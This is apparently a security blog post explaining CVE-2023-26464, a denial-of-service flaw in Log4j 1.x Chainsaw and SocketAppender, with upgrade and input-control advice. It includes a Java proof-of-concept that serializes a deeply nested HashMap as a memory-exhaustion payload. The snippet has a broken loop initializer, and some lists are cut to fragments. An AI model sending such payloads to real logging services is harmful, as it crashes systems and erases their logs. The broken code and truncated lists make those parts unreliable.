Apache Log4j remains one of the most widely deployed Java logging frameworks, even after the major vulnerabilities discovered in recent years. In this post, we dig deep into CVE-2023-26464, a Denial of Service (DoS) threat targeting Log4j 1.x when using the Chainsaw or SocketAppender components, especially on older Java runtimes (JRE < 1.7). Unlike many other Log4j flaws, this vulnerability is officially UNSUPPORTED WHEN ASSIGNED, meaning the maintainers no longer provide patches for these Log4j versions—so users are left with limited defenses.

Let's break down the technical details, see how an exploit works, and learn what can be done for protection.

What’s the Issue? (Simple Explanation)

If your Java application uses Log4j 1.x (specifically versions before Log4j 2), and you use the Chainsaw or SocketAppender log listener components, certain log entries can accidentally or deliberately crash your program. On old Java installations (before 1.7), if an attacker tricks your application into logging special objects—deeply nested or big Hashtable or HashMap entries—the act of deserializing these can empty your Java process’s memory, leading to a full _Denial of Service_ (DoS).

Receiving log entries from untrusted sources, directly or indirectly

Note: These Log4j versions are unsupported, meaning you won’t get any official fixes! Upgrade is strongly recommended.

Technical Details

Chainsaw and the SocketAppender accept serialized logging data from remote sources. This means they can read objects sent across the network or from files, and “deserialize” them into Java objects for inspection. Deserialization is famously risky in Java, especially when involving untrusted input.

Both Chainsaw and SocketAppender can process Map objects (either HashMap or Hashtable) contained within log events. When such maps are extremely deep (they contain maps within maps within more maps… and so on), deserialization can use a lot of memory and CPU (a “resource exhaustion” attack). In badly designed applications, this can lead to _out-of-memory_ errors, crashing the logging process or even the application itself.

Example Exploit: Crafting a Malicious Serialized HashMap

Here’s a demo snippet in Java to create a deeply nested HashMap and write it as serialized bytes. (Note: Don’t run this in production!)

import java.io.*;
import java.util.HashMap;
public class DeepMapExploit {
    public static void main(String[] args) throws Exception {
        int DEPTH = 10000; // Beware: high values can run out of memory
        HashMap<Object, Object> root = new HashMap<>();
        HashMap<Object, Object> current = root;
        for(int i = ; i < DEPTH; i++) {
            HashMap<Object, Object> next = new HashMap<>();
            current.put("nested", next);
            current = next;
        }
        // Serialize to file
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("evil.ser"));
        oos.writeObject(root);
        oos.close();
    }
}

A remote attacker can generate such a file (or network event), and if it’s deserialized by a vulnerable Log4j component, it’ll cause high memory use and likely crash.

How Could an Attacker Use This?

Attackers need to get malicious log events processed by your logging infrastructure. If you use Log4j’s Chainsaw or SocketAppender, and you accept log events from remote/untrusted sources, an attacker could:

Boom—memory exhaustion, logging process crash!

If your application relies on logs being available, or parses logs in real-time for alerting or business decisions, this could mean (at a minimum) days of logs go missing, or at worst, downtime.

Consider firewalls or network controls to reduce exposure.

- On Java >= 1.7, some deserialization protections may reduce risk, but upgrade is still the best option.

References & More Reading

- 📝 Apache Log4j Security Page
- 📝 Official CVE Entry for CVE-2023-26464
- 📝 Chainsaw Logging Tool

Conclusion

CVE-2023-26464 is another reminder that older Log4j versions are dangerous to keep around, even if you’re not directly handling logs from attackers. Updating to a maintained and patched Log4j 2.x version is your best move. If you’re stuck with legacy dependencies, control your input sources and avoid deserializing log data from anywhere you can’t fully trust.

Stay safe out there—log wisely!

Need help migrating off Log4j 1.x? Drop a comment or reach out—we’ve helped many teams modernize their Java stacks!

Timeline

Published on: 03/10/2023 14:15:00 UTC
Last modified on: 03/15/2023 16:18:00 UTC